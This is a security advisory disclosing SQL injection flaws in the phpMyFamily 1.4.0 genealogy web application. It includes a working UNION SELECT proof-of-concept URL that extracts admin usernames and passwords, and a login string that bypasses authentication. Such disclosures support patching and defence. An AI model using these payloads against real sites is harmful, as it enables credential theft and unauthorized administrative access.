      phpMyFamily SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

     <> phpMyFamily is "a dynamic genealogy website builder which allows
    geographically dispersed family members to maintain a central database of
    research which is readily accessible and editable".

    phpMyFamily has been found to contain an SQL injection that allow
    attackers to read, change and delete information at the database.

    DETAILS

    Vulnerable Systems:
     * phpMyFamily version 1.4.0

    The script files people.php, track.php, edit.php, document.php,
    census.php, assthru.php and other PHP files that come with phpMyFamily
    have been found to contain SQL injection vulnerabilities.

    The cause of SQL injection is the lack of variable filtering and the usage
    of the variables inside SQL queries.

    Proof of Concept:
    http://[host]/[path]/people.php?person=00002' UNION SELECT NULL, password,
    NULL, username, NULL, NULL,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    NULL, NULL, NULL FROM family_users WHERE admin='Y' LIMIT 1,1

    The above SQL code selects first the admin user and returns its with login
    and password.

    It is also possible to login as administrator without a password by using
    the following as the login and password:
    Login: ' OR 'a'='a' AND admin='Y'/*
    Password: (empty)
